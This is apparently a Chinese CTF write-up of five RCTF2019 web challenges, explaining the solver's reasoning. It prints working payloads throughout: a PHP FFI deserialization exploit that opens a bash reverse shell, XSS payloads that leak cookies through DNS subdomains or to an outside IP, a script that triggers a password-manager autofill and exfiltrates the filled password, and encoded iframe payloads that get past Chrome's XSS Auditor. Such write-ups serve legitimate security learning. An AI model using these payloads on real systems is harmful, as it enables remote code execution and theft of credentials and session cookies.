RCTF2019-web

上个周末做了一下RCTF,时隔一年卷土重来。这次Kap0k直接打到第6了,而且ak了misc,队友还是值得吹一波的。
回想起来,上一年的RCTF我还啥都不会,到今年还是啥都不会,岁月真是无情。

nextphp

这题考PHP7.4的特性,非常紧跟潮流。直接给了个evalenter description here看一下phpinfo,一堆disable_functionsenter description here很明显绕不过去,再看open_basedirenter description here还注意到有一个opcache.preloadenter description herepreload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

代码很工整,实现了一个自定义的序列化,反序列化的时候会调用unserialize函数,这里的unserialize函数功能是改变$data数组元素的值,然后实现可变函数的效果。然后主要到这篇文章去查看php7.4的特性,关于opcache.preload,可以看RFCenter description here很好理解,就是选定一个文件来preload。
还用到了Foreign Function Interface这个点.到RFCcdef:enter description here用法:enter description here然后,我们需要利用preload.php的可变函数来尝试导入c函数并执行,为什么要利用预加载的preload.php,不能直接搞呢,因为这个enter description here

1
http://nextphp.2019.rctf.rois.io/?a=var_dump(unserialize(%27C:1:%22A%22:97:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:34:%22const%20char%20*%20getenv(const%20char%20*);%22;}}%27)-%3Eret-%3Egetenv(%27PATH%27));

导入getenventer description here同理导入system,反弹shell即可

1
nextphp.2019.rctf.rois.io/?a=var_dump(unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()[ret]->system("bash -c '/bin/bash -i >%26 /dev/tcp/{{ip}}/{{[port}} 0>%261'"));

enter description here

jail

xss题,可以向一个页面写内容,然后把页面的id提交给admin,让它去访问。enter description hereavatar的地方可以上传文件,试了一下,没啥好利用的点。
cookie中有两个hintenter description here目的就是要打到admin的cookie。

1
Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

firefox下用这个payload就能x到:<img src=1 onerror="location.href='http://xxxxx/?'+document.cookie">
但是chrome不行enter description here提交了一下,没有打到,bot应该是chrome。我们知道跳转可以无视一切csp,但是这里跳转不了,因为页面上有一段预置的jsenter description heredocument.location给freeze了,而freeze是不能解掉的enter description here后面尝试了用a标签和另外的一些方法,本地是可以跳转的,但是bot不跳呀,因此另寻骚操作。
之前没见过freeze location这个操作,因此研究了一下locationenter description here尝试修改了几个属性,href固然是改不了,但是发现host和hostname属性都是可以改的,而且可以达到一个跳转的效果。这里可以用子域名带出信息,查看DNS query记录即可,payload:

1
2
3
4
5
6
7
8
9
10
11
12
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
location.hostname=stringToHex(document.cookie).substr(0,60)+".g3r5vi.ceye.io"</script>

enter description hereenter description here

password

这题用的是jail的同一个环境,题目和hint给的信息都非常关键enter description here提取出几个要点:

1.要x的是密码
2.并不是chrome自带的保存密码功能
3.try to read body.innerHTML

这里可以大致猜出一些东西了,要x密码,而且不是chrome自带的密码管理,结合hint,想到会不会是给他插入一段html,然后会给我自动填充密码,我再把密码整出来?于是尝试加一段html到payload里,由于是要x密码,所以自然想到整个表单上去,login那里就有一个现成的表单enter description here一开始是想,延时一段时间(给点时间给密码管理器自动填写),然后把password的value搞出来,但是啥都打不到。于是还是跟着hint走吧,读一下innerHTML,这一步的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
setTimeout(function () {
location.hostname=stringToHex(btoa(document.body.innerHTML)).substr(1800,60)+".g3r5vi.ceye.io";
}, 1000);
</script>

一点点拿到完整的页面内容,发现果然有something interestingenter description here加了个data-cip-id的属性,但是我的payload并没有这东西。查了一下,这里用的应该是ChromeIPass+Keepass这一套,本地装一下,直接拿登录页面来做一下实验。首先点击一下username的框,然后就会有候选密码(前提是已经有存密码)enter description here再右键选中看属性,发现这几个选项都是cip-ui-menu-item这个class的,因此可以用document.getElementsByClassName('cip-ui-menu-item')[?]来定位他们。这里必须要点一下username的框,才会有这几个选项出现,选项出现之后,选一个来点,password的框就会被自动填充。所以我们的payload就已经出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
setTimeout(function () {
document.getElementsByName('username')[0].click();
document.getElementsByClassName('cip-ui-menu-item')[1].click();
location.hostname=stringToHex(btoa(document.getElementsByName('password')[0].value)).substr(0,60)+".g3r5vi.ceye.io";
}, 3000);
</script>

0号是假flagenter description here1号是真flagenter description here

rblog

hint:API supports JSONP.

这题进来就三题wp的链接enter description here查看网络请求,可以发现数据来源于一个APIenter description here还可以发现网站有CSP,而且有一个report的页面,因此可以猜测这是个XSS的题.default-src 'self',那么我们只能使用同域资源。
v1的content-typetext/htmlenter description herev2则是application/jsonenter description herev1/posts的是application/javascript,而且v1/posts使用jsonp,callback参数可控,由此想到,通过v1/引入v1/posts?callback=xxx的资源来实现xss。尝试之后,发现/会被转义enter description here测试了一波,发现/"都会被转义.斜杠不能用,script标签自然是不能闭合的,需要另寻出路。参考了其他师傅的wp,这里的一个操作是使用iframe的srcdoc属性,然后在里面对payload进行unicode编码,这样可以同时绕过csp对unsafe-inline的限制(csp没有设置此项),还可以绕过对斜杠的转义。使用payload如下:

1
<iframe srcdoc=&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#32;&#115;&#114;&#99;&#61;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#114;&#98;&#108;&#111;&#103;&#46;&#50;&#48;&#49;&#57;&#46;&#114;&#99;&#116;&#102;&#46;&#114;&#111;&#105;&#115;&#46;&#105;&#111;&#47;&#97;&#112;&#105;&#47;&#118;&#49;&#47;&#112;&#111;&#115;&#116;&#115;&#63;&#99;&#97;&#108;&#108;&#98;&#97;&#99;&#107;&#61;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;&#99;&#111;&#110;&#115;&#111;&#108;&#101;&#46;&#108;&#111;&#103;&#62;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;>

firefox下成功弹框enter description here但是chrome不行,题目有说明chrome的版本enter description here这是chrome的当前最新版本,这个payload被chrome的XSS Auditor拦截了。从fish师傅的wp中, 还看到这么一段话enter description here这是我之前不知道的。。tcl。这时候我们可以看看后端有没有对什么字符进行处理,经过简单的测试就可以发现,后端会把中文字符进行unicode编码并返回enter description here因此,我们可以在srcdoc的开头部分插入中文字符,使得其绕过XSS Auditor。效果:enter description here然后构造payload,提交给admin即可。最终payload:

1
https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc=%E5%95%8A%26%2360%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2332%3b%26%23115%3b%26%23114%3b%26%2399%3b%26%2361%3b%26%2334%3b%26%23104%3b%26%23116%3b%26%23116%3b%26%23112%3b%26%23115%3b%26%2358%3b%26%2347%3b%26%2347%3b%26%23114%3b%26%2398%3b%26%23108%3b%26%23111%3b%26%23103%3b%26%2346%3b%26%2350%3b%26%2348%3b%26%2349%3b%26%2357%3b%26%2346%3b%26%23114%3b%26%2399%3b%26%23116%3b%26%23102%3b%26%2346%3b%26%23114%3b%26%23111%3b%26%23105%3b%26%23115%3b%26%2346%3b%26%23105%3b%26%23111%3b%26%2347%3b%26%2397%3b%26%23112%3b%26%23105%3b%26%2347%3b%26%23118%3b%26%2349%3b%26%2347%3b%26%23112%3b%26%23111%3b%26%23115%3b%26%23116%3b%26%23115%3b%26%2363%3b%26%2399%3b%26%2397%3b%26%23108%3b%26%23108%3b%26%2398%3b%26%2397%3b%26%2399%3b%26%23107%3b%26%2361%3b%26%23112%3b%26%2397%3b%26%23114%3b%26%23101%3b%26%23110%3b%26%23116%3b%26%2346%3b%26%23108%3b%26%23111%3b%26%2399%3b%26%2397%3b%26%23116%3b%26%23105%3b%26%23111%3b%26%23110%3b%26%2346%3b%26%23104%3b%26%23114%3b%26%23101%3b%26%23102%3b%26%2361%3b%26%2339%3b%26%23104%3b%26%23116%3b%26%23116%3b%26%23112%3b%26%2358%3b%26%2347%3b%26%2347%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%2347%3b%26%23120%3b%26%23115%3b%26%23115%3b%26%2363%3b%26%2339%3b%26%2337%3b%26%2350%3b%26%2398%3b%26%23101%3b%26%23115%3b%26%2399%3b%26%2397%3b%26%23112%3b%26%23101%3b%26%2340%3b%26%23100%3b%26%23111%3b%26%2399%3b%26%23117%3b%26%23109%3b%26%23101%3b%26%23110%3b%26%23116%3b%26%2346%3b%26%2399%3b%26%23111%3b%26%23111%3b%26%23107%3b%26%23105%3b%26%23101%3b%26%2341%3b%26%2359%3b%26%2399%3b%26%23111%3b%26%23110%3b%26%23115%3b%26%23111%3b%26%23108%3b%26%23101%3b%26%2346%3b%26%23108%3b%26%23111%3b%26%23103%3b%26%2334%3b%26%2362%3b%26%2360%3b%26%2347%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2362%3b%3E

enter description hereenter description here还给了下一题的hint,那么来看下一题。

ez4cr

题目enter description here上一题cookie的提示:

the flag for rblog2019.2 is in the cookie of the report domain. You may need a chrome xss auditor bypass ._.

这里要x的是report-rblog域下的这个cookie,硬核bypass xss auditor?
看源码,发现有一个report.phpenter description here测了一下,这东西也support JSONP,而且content-typetext/html,有csp而且没有对字符进行转义enter description here在firefox下,这样就可以直接x了

1
https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%20src=https://report-rblog.2019.rctf.rois.io/report.php?callback=alert(1);%3E%3C/script%3E

但是chrome有xss auditor,不可能硬核bypass来收0day吧,所以从题目本身的场景入手。这题的中文很正常enter description here这里的一个解法是,把script src中的https改成http,后端返回的时候会把它变成httpsenter description here此时可以成功x到enter description here最后payload:

1
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script%20src=http://report-rblog.2019.rctf.rois.io/report.php?callback=location.href=%27http://123.207.99.17/xss?%27%25%32%62escape(document.cookie);></script>

enter description hereenter description here